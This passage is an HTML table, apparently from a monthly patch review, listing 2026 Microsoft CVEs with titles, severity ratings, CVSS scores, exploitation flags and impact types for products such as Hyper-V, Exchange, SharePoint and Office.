  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
